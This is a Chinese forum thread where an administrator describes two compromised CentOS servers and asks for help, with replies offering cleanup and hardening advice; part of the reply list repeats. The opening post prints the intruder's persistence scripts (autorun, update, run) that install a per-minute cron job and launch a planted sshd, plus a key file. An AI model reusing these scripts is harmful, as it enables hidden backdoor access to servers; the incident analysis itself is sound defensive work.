昨天突然发现我从服务器A不能用SSH登录到服务器B但是直接用putty可以登录。我开始以为是网络或是SSH服务的问题,就重起了network和sshd服务,可是没有任何做用。在重起的过程中还出现了一些莫名奇妙的错误。于是我重起了服务器,之后不但ssh登录不了,甚至连网络服务都没有正常起动。手动重起network服务网络恢复但同样还是报那些错误。
仔细看了一下提示是说有几个命令不能执行。而且都是几个系统的基础命令。如:
basename hostname rm
我在/bin目录下看了一眼,发现有几个命令的文件的时间标签都变成了。10-14 21:44 (我是14号下午3点左右发现的问题)、同时系统时间被置成了15号的2点多。我把这几个命令文件和公司的另几台CENTOS进行对比,发现文件的大小都变大了。发生变化的文件有basename hostname rm rmdir tar nice tcsh true usleep等等,而且这些命令都不能执行了。我从另一台机器上把这些文件COPY一份覆盖后命令恢复正常。
由于我的定时任务做的是定时同公司内的NTP服务对时所以我查看了,我的定时任务。发现定时任务被替换为
* * * * * /etc/ssh/update >/dev/null 2>&1
于是我去/etc/ssh目录下去查看发现里面多了好多文件。目录列表为(这是我把文件备份到WINDOWS下看的):
2009-06-25 16:16 318 autorun
2010-10-14 08:48 42 cron.d
2009-03-12 09:10 132,839 moduli
2010-10-14 08:48 9 play.dir
2009-06-25 16:03 30 run
2008-10-01 21:39 2,312,471 sshd
2008-10-01 21:39 1,592,139 sshd-check-conf
2008-10-01 21:39 2,312,471 sshd2
2009-03-12 09:10 3,301 sshd_config
2009-03-12 09:10 1,827 ssh_config
2010-09-21 04:22 668 ssh_host_dsa_key
2010-09-21 04:22 590 ssh_host_dsa_key.pub
2010-09-21 04:22 963 ssh_host_key
2010-09-21 04:22 627 ssh_host_key.pub
2010-09-21 04:22 1,675 ssh_host_rsa_key
2010-09-21 04:22 382 ssh_host_rsa_key.pub
2010-10-14 08:48 155 update
其中的好多文件都不是系统中应该有的,而且文件的权限也都变了。在下面我贴出几个主要文件里的内容
autorun
#!/bin/sh
pwd > play.dir
dir=$(cat play.dir)
echo "* * * * * $dir/update >/dev/null 2>&1" > cron.d
crontab cron.d
crontab -l | grep update
echo "#!/bin/sh
if test -r $dir/m.pid; then
pid=\$(cat $dir/m.pid)
if \$(killall -9 \sshd >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null" > update
chmod u+x update
update
#!/bin/sh
if test -r /etc/ssh/m.pid; then
pid=$(cat /etc/ssh/m.pid)
if $(killall -9 \sshd >/dev/null 2>&1)
then
exit 0
fi
fi
cd /etc/ssh
./run &>/dev/null
run
#!/bin/sh
export PATH=.
sshd
同时在/etc目录下发面一个名为ssh2的目录。目录内文件列表为
-rw-r--r-- 1 107 mail 828 2008-10-01 hostkey
-rw-r--r-- 1 107 mail 697 2008-10-01 hostkey.pub
-rw-r--r-- 1 107 mail 512 10-15 02:13 random_seed
-rw-r--r-- 1 107 mail 1900 2008-10-01 ssh2_config
-rw-r--r-- 1 107 mail 3921 2008-10-01 sshd2_config
-rw-r--r-- 1 107 mail 122 2008-10-01 ssh_dummy_shell.out
下面帖出主要的几个文件的内容:
hostkey
---- BEGIN SSH2 ENCRYPTED PRIVATE KEY ----
Subject: root
Comment: "1024-bit dsa hostkey"
P2/56wAAAgIAAAAmZGwtbW9kcHtzaWdue2RzYS1uaXN0LXNoYTF9LGRoe3BsYWlufX0AAA
AEbm9uZQAAAcQAAAHAAAAAAAAABACxrI3ytitwU5Gx5OMCr2Z+TGyitwQ21VqXWjy+vF64
YlywGlXyN5XCeRDSwJ3v7n0mYT9+utNG79HnY9uxtByoFQlLIElHpQTFdloR6LLlZ1JmCG
tyM/rmtuEylr/1xcN04ZTcAp6+xtHCLv5adxbf1UFfIMsdzqkgL5VD2O72EQAAA/wOfpvx
E5O2bvz4XHh71NvdS+sIwRhTQR7k4PwyQItKW47COjBfeoIJ+AOg+/2Jt9sUqtxJdeoL8e
6PApRNsBbLTYr70IO33F1lZ2Z6gmtY8yEpOPyAN16A3b658sAOXHGmCoexkMSPluvr/3HI
6AOtcTzacQA/Yr1J8lsip9b5FgAAAKDzRztTw52Cd5tqcJIuBSyEZ7aRzQAAA/4hQ55FwH
CKuvm5YsDM8KyVJ+BnPeHujHsMTdrtzAFdX8y69UDMaIJvzQVJ78+XCwj19D7Rhxg9akG8
ZcZX3tFxAJVj1rt40lUTpV4NDP/YNImxTbQupPgq/fjrHf9ro6SRo5VLkp/U9jkmCh4NB/
BjJereXv6Kxq/e1kM2er+e+AAAAKCqTHTmhGwUOvQmr727lVj+FN8GNA==
---- END SSH2 ENCRYPTED PRIVATE KEY ----
ssh2_config
.*:
其它还有很多行但都被注起来了
ssh_dummy_shell.out
This is ssh-dummy-shell. Edit $(ETCDIR)/ssh2/ssh_dummy_shell.out
in order to alter this message.
Press any key to exit.
sshd2_config
Port 22
subsystem-sftp sftp-server
同样还有很多行被注示起来了。
我把/etc/ssh目录下对照正常的服务器的/etc/ssh目录把多余的文件删除后重新起动sshd服务ssh恢复正常
以上是服务器A发现的问题
后发现服务器B也同样不能从其它的LINUX服务器登录只能用putty登录
于是进行同样的检查。发现定时任务和/etc/ssh目录和服务器A一样发生了变化。但/bin目录下的命令文件没有发生变化
但是在清理了/etc/ssh目录下的多余文件并重起sshd服务后ssh登录不能恢复正常。
请问高手们,有谁遇到过这样的事情。
对方对我的系统都做了些什么?我的服务器是否还能用,是不是必须重新做系统?我以后怎样防止这种事情的发生?
请大家都来帮帮我。
另外我的服务器B现在还不能用ssh正常登录。只能用putty登录。我要怎么做才能让它恢复?
23 个解决方案
#1
这事不好办哦 能重装尽量重装
别的服务器赶紧改密码 重新生成密钥 加强防火墙
别的服务器赶紧改密码 重新生成密钥 加强防火墙
#2
唉,怎么就让我碰上这种事了。
不过谁能告诉我对方修改我的ssh对我的服务器都做了什么设置。
其它的我还在查,看看还有没有别的地方被改了。
不过谁能告诉我对方修改我的ssh对我的服务器都做了什么设置。
其它的我还在查,看看还有没有别的地方被改了。
#3
深表同情,等待大牛……
#4
没看出搞破坏的
看样子他用他的sshd替换了你系统的sshd
这样他可能随便进入你的系统 估计拿你的系统继续攻破其他机器
看样子他用他的sshd替换了你系统的sshd
这样他可能随便进入你的系统 估计拿你的系统继续攻破其他机器
#5
我现在改了系统密码,他是否还进的来??
我要怎么才能恢复我的ssh?
我要怎么才能恢复我的ssh?
#6
你把他的文件都给他删除啊。只基于密码认证本来就不安全 字典攻击就容易中招 。
你在防火墙里设置只能你们自己连接22号端口啊
#7
刚看了一个被用ssh攻击的。。。lz都查看下log,看看有什么可疑情况没有吧
然后就是加强你的保护了
然后就是加强你的保护了
#8
公司的机房里有硬件防火墙。这两台机器对外只开放了80端口。我怀疑对方是通过机房内其它的机器进行攻击的(机房里还有几台WINDOWS),这是我最头疼的地方,因为有几台WINDOWS不是我们公司的,我没有权限。
之前因为有硬件防火墙所以我把LINUX的防火墙都关了。现在我正在想是不是要把防火墙重新打开。(10多台机器呢,有些机器的服务不是我架的,还要查都要开哪些端口 )
之前因为有硬件防火墙所以我把LINUX的防火墙都关了。现在我正在想是不是要把防火墙重新打开。(10多台机器呢,有些机器的服务不是我架的,还要查都要开哪些端口 )
#9
你从外网有没有测试 是不是可以连接你的22号端口?如果不介意 站内信告诉我 我用nmap扫描你试试。
#10
外网肯定是访问不了的。防火墙有专人负责,昨天也已经查过了。
#11
主要问题在于, 他用/etc/ssh/sshd替换了系统原来的/usr/sbin/sshd
这个/etc/ssh/sshd做了些什么就不知道了, 是二进制文件还是脚本?
建议,
1. 取消Password方认证, 改用ssh key方式认证
2. 取消root远程登录方式, 只允许普通用户登录, 需要root权限, 先登录普通用户, 再sudo切换
3. 打开主机iptables, 只允许有限端口连接.
4. 查看系统所有进程, kill可疑进程
5. 系统恢复, 主要是系统的binary命令, 防止已经被恶意替换, 在CentOS上运行rpm -Va, 着重查看输出第三位'5'即md5有变化的binary程序.
这个/etc/ssh/sshd做了些什么就不知道了, 是二进制文件还是脚本?
建议,
1. 取消Password方认证, 改用ssh key方式认证
2. 取消root远程登录方式, 只允许普通用户登录, 需要root权限, 先登录普通用户, 再sudo切换
3. 打开主机iptables, 只允许有限端口连接.
4. 查看系统所有进程, kill可疑进程
5. 系统恢复, 主要是系统的binary命令, 防止已经被恶意替换, 在CentOS上运行rpm -Va, 着重查看输出第三位'5'即md5有变化的binary程序.
#12
都是高手阿 小弟只有學習的分
#13
顶一下吧,呵呵
不过我觉得先把任务计划干掉吧,不然他每隔一分钟就执行一次,挺可怕的
* * * * * /etc/ssh/update >/dev/null 2>&1
不过我觉得先把任务计划干掉吧,不然他每隔一分钟就执行一次,挺可怕的
* * * * * /etc/ssh/update >/dev/null 2>&1
#14
现在有个问题比较棘手,就是这台服务器我只能用putty登录,不能用其它的软件或是其它的linux登录。
从其它的linux用ssh登录就会提示
Bad remote protocol version identification: 'SSH-2.0-
'
我想试着重装ssh但是用yum remove sshd不能卸载。
请问我用什么方法能够恢复我的ssh
从其它的linux用ssh登录就会提示
Bad remote protocol version identification: 'SSH-2.0-
'
我想试着重装ssh但是用yum remove sshd不能卸载。
请问我用什么方法能够恢复我的ssh
#15
#16
不能卸载的错误是什么啊?
直接rpm -e的方式呢
#17
先准备好需要重新安装的RPM包, 然后
1. rpm -e --nodeps <要卸载的包>
2. rpm -ivh <要重新安装的包>
1. rpm -e --nodeps <要卸载的包>
2. rpm -ivh <要重新安装的包>
#18
深表同情,这个问题在这里学习了。
#19
速度root进入系统,将黑客的sshd干掉,立刻启动自己的sshd,建议使用key登陆;并且查出是否php上传木马文件导致重装sshd
#20
看的我汗都出来了,我的linux系统还没中遭过,一直仗着linux安全,所以在安全方面没怎么管它。现在看的我好紧张。selinux很烦人,linux有什么好用的防火墙吗?
#21
谢谢各位的关注与支持,由于前两天工作忙没有时间去机房,所以ssh的事就先放下来了,今天到机房终于把SSH弄好了。用的是rpm -e 的方式,之后重装了ssh目前服务器没有再发生什么问题。
#22
都是牛逼的人。。。
#23
#1
这事不好办哦 能重装尽量重装
别的服务器赶紧改密码 重新生成密钥 加强防火墙
别的服务器赶紧改密码 重新生成密钥 加强防火墙
#2
唉,怎么就让我碰上这种事了。
不过谁能告诉我对方修改我的ssh对我的服务器都做了什么设置。
其它的我还在查,看看还有没有别的地方被改了。
不过谁能告诉我对方修改我的ssh对我的服务器都做了什么设置。
其它的我还在查,看看还有没有别的地方被改了。
#3
深表同情,等待大牛……
#4
没看出搞破坏的
看样子他用他的sshd替换了你系统的sshd
这样他可能随便进入你的系统 估计拿你的系统继续攻破其他机器
看样子他用他的sshd替换了你系统的sshd
这样他可能随便进入你的系统 估计拿你的系统继续攻破其他机器
#5
我现在改了系统密码,他是否还进的来??
我要怎么才能恢复我的ssh?
我要怎么才能恢复我的ssh?
#6
你把他的文件都给他删除啊。只基于密码认证本来就不安全 字典攻击就容易中招 。
你在防火墙里设置只能你们自己连接22号端口啊
#7
刚看了一个被用ssh攻击的。。。lz都查看下log,看看有什么可疑情况没有吧
然后就是加强你的保护了
然后就是加强你的保护了
#8
公司的机房里有硬件防火墙。这两台机器对外只开放了80端口。我怀疑对方是通过机房内其它的机器进行攻击的(机房里还有几台WINDOWS),这是我最头疼的地方,因为有几台WINDOWS不是我们公司的,我没有权限。
之前因为有硬件防火墙所以我把LINUX的防火墙都关了。现在我正在想是不是要把防火墙重新打开。(10多台机器呢,有些机器的服务不是我架的,还要查都要开哪些端口 )
之前因为有硬件防火墙所以我把LINUX的防火墙都关了。现在我正在想是不是要把防火墙重新打开。(10多台机器呢,有些机器的服务不是我架的,还要查都要开哪些端口 )
#9
你从外网有没有测试 是不是可以连接你的22号端口?如果不介意 站内信告诉我 我用nmap扫描你试试。
#10
外网肯定是访问不了的。防火墙有专人负责,昨天也已经查过了。
#11
主要问题在于, 他用/etc/ssh/sshd替换了系统原来的/usr/sbin/sshd
这个/etc/ssh/sshd做了些什么就不知道了, 是二进制文件还是脚本?
建议,
1. 取消Password方认证, 改用ssh key方式认证
2. 取消root远程登录方式, 只允许普通用户登录, 需要root权限, 先登录普通用户, 再sudo切换
3. 打开主机iptables, 只允许有限端口连接.
4. 查看系统所有进程, kill可疑进程
5. 系统恢复, 主要是系统的binary命令, 防止已经被恶意替换, 在CentOS上运行rpm -Va, 着重查看输出第三位'5'即md5有变化的binary程序.
这个/etc/ssh/sshd做了些什么就不知道了, 是二进制文件还是脚本?
建议,
1. 取消Password方认证, 改用ssh key方式认证
2. 取消root远程登录方式, 只允许普通用户登录, 需要root权限, 先登录普通用户, 再sudo切换
3. 打开主机iptables, 只允许有限端口连接.
4. 查看系统所有进程, kill可疑进程
5. 系统恢复, 主要是系统的binary命令, 防止已经被恶意替换, 在CentOS上运行rpm -Va, 着重查看输出第三位'5'即md5有变化的binary程序.
#12
都是高手阿 小弟只有學習的分
#13
顶一下吧,呵呵
不过我觉得先把任务计划干掉吧,不然他每隔一分钟就执行一次,挺可怕的
* * * * * /etc/ssh/update >/dev/null 2>&1
不过我觉得先把任务计划干掉吧,不然他每隔一分钟就执行一次,挺可怕的
* * * * * /etc/ssh/update >/dev/null 2>&1
#14
现在有个问题比较棘手,就是这台服务器我只能用putty登录,不能用其它的软件或是其它的linux登录。
从其它的linux用ssh登录就会提示
Bad remote protocol version identification: 'SSH-2.0-
'
我想试着重装ssh但是用yum remove sshd不能卸载。
请问我用什么方法能够恢复我的ssh
从其它的linux用ssh登录就会提示
Bad remote protocol version identification: 'SSH-2.0-
'
我想试着重装ssh但是用yum remove sshd不能卸载。
请问我用什么方法能够恢复我的ssh
#15
#16
不能卸载的错误是什么啊?
直接rpm -e的方式呢
#17
先准备好需要重新安装的RPM包, 然后
1. rpm -e --nodeps <要卸载的包>
2. rpm -ivh <要重新安装的包>
1. rpm -e --nodeps <要卸载的包>
2. rpm -ivh <要重新安装的包>
#18
深表同情,这个问题在这里学习了。
#19
速度root进入系统,将黑客的sshd干掉,立刻启动自己的sshd,建议使用key登陆;并且查出是否php上传木马文件导致重装sshd
#20
看的我汗都出来了,我的linux系统还没中遭过,一直仗着linux安全,所以在安全方面没怎么管它。现在看的我好紧张。selinux很烦人,linux有什么好用的防火墙吗?
#21
谢谢各位的关注与支持,由于前两天工作忙没有时间去机房,所以ssh的事就先放下来了,今天到机房终于把SSH弄好了。用的是rpm -e 的方式,之后重装了ssh目前服务器没有再发生什么问题。
#22
都是牛逼的人。。。